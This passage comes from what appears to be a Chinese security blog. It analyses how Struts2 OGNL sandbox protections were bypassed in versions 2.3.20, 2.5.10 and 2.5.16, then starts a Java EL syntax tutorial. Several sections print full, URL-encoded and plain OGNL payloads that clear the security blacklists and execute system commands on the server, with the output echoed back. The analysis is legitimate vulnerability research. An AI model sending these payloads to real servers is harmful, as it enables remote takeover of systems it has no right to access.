src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814161113050.png" alt="image-20200814161113050"></p><p>后面由于 access denied 无法执行此 paylaod</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814161855485.png" alt="image-20200814161855485"></p><p>尝试调用静态方法执行命令</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814181114450.png" alt="image-20200814181114450"></p><p>在 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class 的 isClassExcluded 方法中能看出 this.excludedClasses 就是一个 class 黑名单，如果我们的 class 与其中的 class 相同或是其子类或接口就会返回 true，导致上面的 isAccessible 方法最终返回 false</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200814184624042.png" alt="image-20200814184624042"></p><p>回到 ognl-3.0.6.jar!/ognl/OgnlRuntime.class  的 callAppropriateMethod 方法，结果最终抛出一个 NoSuchMethodException，于是 callStaticMethod 失败，无法执行命令</p><p>那么怎么才能绕过呢，先看下 struct2 黑名单的产生过程</p><p>struct2 在一开始 createValueStack 创建 ognl ValueStack，接着通过 container.inject(stack) 将依赖项注入现有的字段和方法</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817113249177.png" alt="image-20200817113249177"></p><p>通过这个注入操作，会使用 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 setOgnlUtil 方法添加黑名单</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817105223424.png" alt="image-20200817105223424"></p><p>内容如下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817105206499.png" alt="image-20200817105206499"></p><p>那我们在哪修改呢，早在开始创建 OgnlValueStack 的时候，调用 Ognl.createDefaultContext，传入了 securityMemberAccess</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817113939491.png" alt="image-20200817113939491"></p><p>随后又调用 ognl-3.0.6.jar!/ognl/Ognl.class 的 addDefaultContext 方法，新建一个 OgnlContext，通过 setMemberAccess 方法设置 Context 中的 MemberAccess</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817114155492.png" alt="image-20200817114155492"></p><p>看下 ognl-3.0.6.jar!/ognl/OgnlContext.class 的 setMemberAccess，即赋值给了  <code>_memberAccess</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817114226575.png" alt="image-20200817114226575"></p><p>而 SecurityMemberAccess 又继承了 DefaultMemberAccess ，也就是说各黑名单和设置项存于上下文中的  <code>_memberAccess</code>，知道这一点就知道 paylaod 该怎怎么绕过了，首先通过设置 <code>_memberAccess[&#39;allowPrivateAccess&#39;]</code> 授权访问 private 方法，再修改 excludedClasses、allowStaticMethodAccess，然后执行命令</p><p>2.3.20 Payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%&#123;(#_memberAccess[&apos;allowPrivateAccess&apos;]=true,#_memberAccess[&apos;excludedClasses&apos;]=#_memberAccess[&apos;acceptProperties&apos;],#_memberAccess[&apos;allowStaticMethodAccess&apos;]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&apos;id&apos;).getInputStream()))&#125;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817120016497.png" alt="image-20200817120016497"></p><h3 id="Struct-2-5-10-分析"><a href="#Struct-2-5-10-分析" class="headerlink" title="Struct 2.5.10 分析"></a>Struct 2.5.10 分析</h3><p>前期流程差不不是很大，还是来到 populateComponentHtmlId 方法，进入 findStringIfAltSyntax，如果开启了 altSyntax，下面开始 findValue 处理</p><p>调用栈如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">compileAndExecute:371, OgnlUtil (com.opensymphony.xwork2.ognl)</span><br><span class="line">getValue:357, OgnlUtil (com.opensymphony.xwork2.ognl)</span><br><span class="line">getValue:360, OgnlValueStack (com.opensymphony.xwork2.ognl)</span><br><span class="line">tryFindValue:348, OgnlValueStack (com.opensymphony.xwork2.ognl)</span><br><span class="line">tryFindValueWhenExpressionIsNotNull:323, OgnlValueStack (com.opensymphony.xwork2.ognl)</span><br><span class="line">findValue:307, OgnlValueStack (com.opensymphony.xwork2.ognl)</span><br><span class="line">findValue:368, OgnlValueStack (com.opensymphony.xwork2.ognl)</span><br><span class="line">evaluate:156, TextParseUtil$1 (com.opensymphony.xwork2.util)</span><br><span class="line">evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)</span><br><span class="line">translateVariables:166, TextParseUtil (com.opensymphony.xwork2.util)</span><br><span class="line">translateVariables:109, TextParseUtil (com.opensymphony.xwork2.util)</span><br><span class="line">translateVariables:82, TextParseUtil (com.opensymphony.xwork2.util)</span><br><span class="line">findValue:377, Component (org.apache.struts2.components)</span><br><span class="line">findString:223, Component (org.apache.struts2.components)</span><br><span class="line">findStringIfAltSyntax:320, Component (org.apache.struts2.components)</span><br><span class="line">populateComponentHtmlId:998, UIBean (org.apache.struts2.components)</span><br></pre></td></tr></table></figure><p>一直到 compileAndExecute 都没有问题，但是接下来调用 checkEnableEvalExpression -&gt;isEvalExpression 之后 return 语句当中的 node.isSequence 发现不同的 paylaod IDEA 跟进的函数不同（前面的调用栈相同）</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/java-1.png" alt="java-1"></p><p>isEvalExpression 函数</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200817161324768.png" alt="image-20200817161324768"></p><p>当使用下面 paylaod 时，无法执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%25%7B(%23_memberAccess%5B&apos;allowPrivateAccess&apos;%5D%3Dtrue%2C%23_memberAccess%5B&apos;excludedClasses&apos;%5D%3D%23_memberAccess%5B&apos;acceptProperties&apos;%5D%2C%23_memberAccess%5B&apos;allowStaticMethodAccess&apos;%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(&apos;%2FApplications%2FCalculator.app%2FContents%2FMacOS%2FCalculator&apos;).getInputStream()))%7D</span><br></pre></td></tr></table></figure><p>跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/ASTSequence.class 中的  isSequence</p><pre><code>public boolean isSequence(OgnlContext context) {    return true;}</code></pre><p>而当使用下面 paylaod 时，该 paylaod 能绕过限制，执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%&#123;(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=&#123;&apos;/bin/bash&apos;,&apos;-c&apos;,&apos;id&apos;&#125;).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())&#125;</span><br></pre></td></tr></table></figure><p>跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/SimpleNode.class 中的 isSequence</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">public boolean isSequence(OgnlContext context) throws OgnlException &#123;</span><br><span class="line">    if (this._children == null) &#123;</span><br><span class="line">        return false;</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        Node[] arr$ = this._children;</span><br><span class="line">        int len$ = arr$.length;</span><br><span class="line"></span><br><span class="line">        for(int i$ = 0; i$ &lt; len$; ++i$) &#123;</span><br><span class="line">            Node child = arr$[i$];</span><br><span class="line">            if (child instanceof SimpleNode &amp;&amp; ((SimpleNode)child).isSequence(context)) &#123;</span><br><span class="line">                return true;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        return false;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那是为什么呢，其实仔细观察之后能发现两者的不同</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/2.png" alt="2"></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/3.png" alt="3"></p><p>一个是 ASTSequnce，一个则是 ASTChain，再看 checkEnableEvalExpression 函数</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">checkEnableEvalExpression</span><span class="params">(Object tree, Map&lt;String, Object&gt; context)</span> <span class="keyword">throws</span> OgnlException </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="keyword">this</span>.enableEvalExpression &amp;&amp; <span class="keyword">this</span>.isEvalExpression(tree, context)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> OgnlException(<span class="string">"Eval expressions/chained expressions have been disabled!"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>Eval expressions/chained expressions have been disabled!</code>，也就是说这里 ognl 会检查表达式是否可执行，而且 Eval expressions/chained expressions 两种形式的表达式被禁止</p><ul><li>ASTSequence <ul><li>表现形式： <code>#xxx=a, #yyy=b</code></li></ul></li><li>ASTEval    <ul><li>表现形式： <code>(#xxx)(#yyy)</code></li></ul></li><li>ASTChain <ul><li>表现形式： <code>#xxx.#yyy</code></li></ul></li></ul><p>所以要避免使用 ASTSequence 或 ASTEval 形式的 paylaod</p><p>Payload: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">linux:</span><br><span class="line">%&#123;(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=&#123;&apos;/bin/bash&apos;,&apos;-c&apos;,&apos;id&apos;&#125;).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">win+linux:</span><br><span class="line">%&#123;(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=&apos;id&apos;).(#iswin=(@java.lang.System@getProperty(&apos;os.name&apos;).toLowerCase().contains(&apos;win&apos;))).(#cmds=(#iswin?&#123;&apos;cmd.exe&apos;,&apos;/c&apos;,#cmd&#125;:&#123;&apos;/bin/bash&apos;,&apos;-c&apos;,#cmd&#125;)).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())&#125;</span><br></pre></td></tr></table></figure><h3 id="Struct-2-5-16"><a href="#Struct-2-5-16" class="headerlink" title="Struct 2.5.16"></a>Struct 2.5.16</h3><p>因为禁止了对 context.map 的访问，所以通过<code>attr</code>  绕过，获取一个<code>context.map</code>，然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空，再覆盖 <code>_memberAccess</code></p><p>Payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">%25%7B(%23context%3D%23attr%5B&apos;struts.valueStack&apos;%5D.context).(%23container%3D%23context%5B&apos;com.opensymphony.xwork2.ActionContext.container&apos;%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses(&apos;&apos;)).(%23ognlUtil.setExcludedPackageNames(&apos;&apos;))%7D</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">%25%7B(%23context%3D%23attr%5B&apos;struts.valueStack&apos;%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec(&apos;/Applications/Calculator.app/Contents/MacOS/Calculator&apos;))%7D</span><br><span class="line"></span><br><span class="line">有回显版：</span><br><span class="line">%25%7B(%23context%3D%23attr%5B&apos;struts.valueStack&apos;%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%23cmd%3D%7B&apos;%2Fbin%2Fbash&apos;%2C&apos;-c&apos;%2C&apos;id&apos;%7D).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/struct2-note.assets/image-20200818164601881.png" alt="image-20200818164601881"></p><hr><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://javasec.org/javase/" target="_blank" rel="noopener">https://javasec.org/javase/</a></p><p><a href="https://seaii-blog.com/index.php/2019/12/29/90.html" target="_blank" rel="noopener">https://seaii-blog.com/index.php/2019/12/29/90.html</a></p><p><a href="https://lucifaer.com/2019/01/16/浅析OGNL的攻防史/" target="_blank" rel="noopener">https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt; 2020.08.13 由官方发出安全通告&lt;/p&gt;
    
    </summary>
    
    
      <category term="Java" scheme="http://j0k3r.top/tags/Java/"/>
    
      <category term="Struct2" scheme="http://j0k3r.top/tags/Struct2/"/>
    
  </entry>
  
  <entry>
    <title>Java EL （Expression Language）表达式注入</title>
    <link href="http://j0k3r.top/2020/08/13/java-expression/"/>
    <id>http://j0k3r.top/2020/08/13/java-expression/</id>
    <published>2020-08-12T16:00:00.000Z</published>
    <updated>2020-08-30T15:29:21.235Z</updated>
    
    <content type="html"><![CDATA[<p>学习 Java EL 表达式注入</p><a id="more"></a><h2 id="0x01-EL-介绍"><a href="#0x01-EL-介绍" class="headerlink" title="0x01 EL 介绍"></a>0x01 EL 介绍</h2><blockquote><p><strong>表达式语言</strong>（Expression Language），或称<strong>EL表达式</strong>，简称<strong>EL</strong>，是<a href="https://zh.wikipedia.org/wiki/Java" target="_blank" rel="noopener">Java</a>中的一种特殊的通用编程语言，借鉴于<a href="https://zh.wikipedia.org/wiki/JavaScript" target="_blank" rel="noopener">JavaScript</a>和<a href="https://zh.wikipedia.org/wiki/XPath" target="_blank" rel="noopener">XPath</a>。主要作用是在Java Web应用程序嵌入到网页（如<a href="https://zh.wikipedia.org/wiki/JSP" target="_blank" rel="noopener">JSP</a>）中，用以访问页面的上下文以及不同作用域中的<a href="https://zh.wikipedia.org/wiki/对象_(计算机科学" target="_blank" rel="noopener">对象 </a>)，取得对象属性的值，或执行简单的运算或判断操作。EL在得到某个<a href="https://zh.wikipedia.org/wiki/数据" target="_blank" rel="noopener">数据</a>时，会自动进行<a href="https://zh.wikipedia.org/wiki/數據類型" target="_blank" rel="noopener">数据类型</a>的转换。 ——wikipedia</p></blockquote><p>Java EL 被用在 JavaServer Faces technology （JSF）and JavaServer Pages (JSP) 中，主要功能就是</p><ul><li>访问 JavaBean 属性，数组或各类集合</li><li>检索 java 对象，获取数据</li><li>逻辑和算术运算</li><li>调用 java 类方法</li></ul><p>注意区分 JSP 页面中的脚本表达式 <code>&lt;%= 这里是表达式 %&gt;</code>，EL 正是用来替换脚本表达式的</p><p><strong>JSP 中的语法</strong>：</p><ol><li><p>脚本程序</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;% 这里是JAVA代码 %&gt;</span><br></pre></td></tr></table></figure></li><li><p>JP 声明</p><p>声明变量和方法</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;%! declaration; [ declaration; ]+ ... %&gt;</span><br><span class="line"></span><br><span class="line">&lt;%! <span class="keyword">int</span> i = <span class="number">0</span>; %&gt; </span><br><span class="line">&lt;%! <span class="keyword">int</span> a, b, c; %&gt; </span><br><span class="line">&lt;%! Circle a = <span class="keyword">new</span> Circle(<span class="number">2.0</span>); %&gt;</span><br></pre></td></tr></table></figure></li><li><p>JSP 表达式</p><p>是对数据的表示，系统将其作为一个值进行计算，表达式的值会转为 string，调用的方法必须要有返回值，不能用 <code>;</code> 分号</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;p&gt;</span><br><span class="line">   今天的日期是: &lt;%= (<span class="keyword">new</span> java.util.Date()).toLocaleString()%&gt;</span><br><span class="line">&lt;/p&gt;</span><br><span class="line">&lt;% <span class="keyword">if</span> (user != <span class="keyword">null</span> ) &#123;  %&gt;  </span><br><span class="line">       Hello &lt;B&gt;&lt;%=user%&gt;&lt;/B&gt;  </span><br><span class="line">&lt;% &#125; <span class="keyword">else</span> &#123;  %&gt;  </span><br><span class="line">       You haven<span class="string">'t login!  </span></span><br><span class="line"><span class="string">&lt;% &#125; %&gt;</span></span><br></pre></td></tr></table></figure></li><li><p>JSP 注释</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;%-- 注释内容 --%&gt;</span><br></pre></td></tr></table></figure></li><li><p>JSP 指令</p><p>设置与整个JSP页面相关的属性，开头就能看到</p><p>| &lt;%@ page … %&gt;    | 定义页面的依赖属性，比如脚本语言、error页面、缓存需求等等 |<br>| —————— | ——————————————————— |<br>| &lt;%@ include … %&gt; | 包含其他文件                                              |<br>| &lt;%@ taglib … %&gt;  | 引入标签库的定义，可以是自定义标签                        |</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ page language=<span class="string">"java"</span> contentType=<span class="string">"text/html; charset=UTF-8"</span></span><br><span class="line">         pageEncoding=<span class="string">"UTF-8"</span>%&gt;</span><br><span class="line">&lt;%@ taglib prefix=<span class="string">"s"</span> uri=<span class="string">"/struts-tags"</span> %&gt;</span><br><span class="line">&lt;!DOCTYPE html ....</span><br></pre></td></tr></table></figure></li></ol><p>   还有 JSP 行为与隐含对象等内容就不介绍了，可以看 <a href="https://www.runoob.com/jsp/jsp-syntax.html" target="_blank" rel="noopener">JSP 语法 | 菜鸟教程</a></p><h2 id="0x02-EL-使用"><a href="#0x02-EL-使用" class="headerlink" title="0x02 EL 使用"></a>0x02 EL 使用</h2><p>立即求值（Immediate Evaluation）</p><p>表达式将使用 <code>${}</code> 语法，一般模板只能用这个</p><p>延迟求值（Deferred Evaluation）</p><p>表达式使用 <code>#{}</code>语法，模板用这个会报错，详情可以看 <a href="https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm#GJDDD" target="_blank" rel="noopener">https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm#GJDDD</a></p><p>IDEA 新建一个 Maven 项目进行测试，file Project Structure 里 Facets 添加一个 Web</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-expression.assets/image-20200813144307779.png" alt="image-20200813144307779"></p><p>web.xml 添加</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">welcome-file-list</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">welcome-file</span>&gt;</span>index.jsp<span class="tag">&lt;/<span class="name">welcome-file</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">welcome-file-list</span>&gt;</span></span><br></pre></td></tr></table></figure><p>Web 目录下新建 index.jsp</p><h4 id="使用值表达式引用对象"><a href="#使用值表达式引用对象" class="headerlink" title="使用值表达式引用对象"></a>使用值表达式引用对象</h4><p>能够引用以下对象的属性</p><ul><li>Lambda parameters</li><li>EL variables</li><li>Managed beans</li><li>Implicit objects</li><li>Classes of static fields and methods</li></ul><h4 id="引用对象属性或集合元素"><a href="#引用对象属性或集合元素" class="headerlink" title="引用对象属性或集合元素"></a>引用对象属性或集合元素</h4><p>使用 <code>.</code> 或 <code>[]</code> 表示法</p><p>比如要获取 customer 的属性 name，则可以使用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;customer.name&#125;</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;customer[<span class="string">"name"</span>]&#125;</span><br></pre></td></tr></table></figure><p>通常 <code>[]</code> 比 <code>.</code> 要普遍，因为 <code>[]</code> 中不只是字符串，可以是字符串表达式，可以进行动态取值，而且  <code>.</code> 可能受一些特殊字符的影响</p><p>以下三种写法效果相同</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Hello<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">hello $&#123;param[["a","b","name"][2]]&#125;</span><br><span class="line"><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">hello $&#123;param["name"]&#125;</span><br><span class="line"><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">hello $&#123;param.name&#125;</span><br><span class="line"><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/java-expression.assets/image-20200813153959248.png" alt="image-20200813153959248"></p><h4 id="EL-运算符"><a href="#EL-运算符" class="headerlink" title="EL 运算符"></a>EL 运算符</h4><ul><li><strong>算术</strong>：<code>+</code>，<code>-</code>（二元）， <code>*</code>，<code>/</code>和<code>div</code>，<code>%</code>和<code>mod</code>，<code>-</code>（一元）。</li><li><strong>字符串连接</strong>：<code>+=</code>。</li><li><strong>逻辑</strong>：<code>and</code>，<code>&amp;&amp;</code>，<code>or</code>，<code>||</code>，<code>not</code>，<code>!</code>。</li><li><strong>关系</strong>：<code>==</code>，<code>eq</code>，<code>!=</code>，<code>ne</code>，<code>&lt;</code>，<code>lt</code>，<code>&gt;</code>，<code>gt</code>，<code>&lt;=</code>，<code>ge</code>，<code>&gt;=</code>，<code>le</code>。可以与其他值或布尔值，字符串，整数或浮点文字进行比较。</li><li><strong>空</strong>：<code>empty</code>运算符是前缀运算，可用于确定值是<code>null</code>还是空。</li><li><strong>条件</strong>：<code>A ? B : C</code>。评估<code>B</code>或<code>C</code>根据的评估结果<code>A</code>。</li><li><strong>lambda表达式</strong>：<code>-&gt;</code>，箭头标记。</li><li><strong>赋值</strong>：<code>=</code>。</li><li><strong>分号</strong>：<code>;</code>。</li></ul><p><strong>运算符优先级如下（从高到低，从左到右）：</strong></p><ul><li><code>[] .</code></li><li><code>()</code> (用于更改运算符的优先)</li><li><code>-</code> (一元) <code>not ! empty</code></li><li><code>* / div % mod</code></li><li><code>+ -</code> (二元)</li><li><code>+=</code></li><li><code>&lt;&gt; &lt;= &gt;= lt gt le ge</code></li><li><code>== != eq ne</code></li><li><code>&amp;&amp; and</code></li><li><code>|| or</code></li><li><code>? :</code></li><li><code>-&gt;</code></li><li><code>=</code></li><li><code>;</code></li></ul><p>除了上运算中的字符外还有一些其它的保留字符：</p><p><code>true</code><br><code>false</code><br><code>null</code><br><code>instanceof</code><br><code>empty</code><br><code>div</code><br><code>mod</code></p><h2 id="0x03-EL-注入"><a href="#0x03-EL-注入" class="headerlink" title="0x03 EL 注入"></a>0x03 EL 注入</h2><p>JSP 有 9 个隐式对象，如下</p><table><thead><tr><th>request</th><th><strong>HttpServletRequest</strong> 接口的实例</th></tr></thead><tbody><tr><td>response</td><td><strong>HttpServletResponse</strong> 接口的实例</td></tr><tr><td>out</td><td><strong>JspWriter</strong>类的实例，用于把结果输出至网页上</td></tr><tr><td>session</td><td><strong>HttpSession</strong>类的实例</td></tr><tr><td>application</td><td><strong>ServletContext</strong>类的实例，与应用上下文有关</td></tr><tr><td>config</td><td><strong>ServletConfig</strong>类的实例</td></tr><tr><td>pageContext</td><td><strong>PageContext</strong>类的实例，提供对JSP页面所有对象以及命名空间的访问</td></tr><tr><td>page</td><td>类似于Java类中的this关键字</td></tr><tr><td>Exception</td><td><strong>Exception</strong>类的对象，代表发生错误的JSP页面中对应的异常对象</td></tr></tbody></table><p>但其中只有一个 pageContext 是 EL 隐式对象，    还有4个作用域隐式对象，通过映射访问作用域属性，还有参数访问隐式对象、首部访问隐式对象和初始化参数访问隐式对象，如下</p><table><thead><tr><th><strong>类别</strong></th><th><strong>标识符</strong></th><th><strong>描述</strong></th></tr></thead><tbody><tr><td>JSP</td><td>pageContext</td><td>PageContext 实例对应于当前页面的处理</td></tr><tr><td>作用域</td><td>pageScope</td><td>与页面作用域属性的名称和值相关联的 Map 类</td></tr><tr><td></td><td>requestScope</td><td>与请求作用域属性的名称和值相关联的 Map 类</td></tr><tr><td></td><td>sessionScope</td><td>与会话作用域属性的名称和值相关联的 Map 类</td></tr><tr><td></td><td>applicationScope</td><td>与应用程序作用域属性的名称和值相关联的 Map 类</td></tr><tr><td>请求参数</td><td>param</td><td>按名称存储请求参数的主要值的 Map 类</td></tr><tr><td></td><td>paramValues</td><td>将请求参数的所有值作为 String 数组存储的 Map 类</td></tr><tr><td>请求头</td><td>header</td><td>按名称存储请求头主要值的 Map 类</td></tr><tr><td></td><td>headerValues</td><td>将请求头的所有值作为 String 数组存储的 Map 类</td></tr><tr><td>Cookie</td><td>cookie</td><td>按名称存储请求附带的 cookie 的 Map 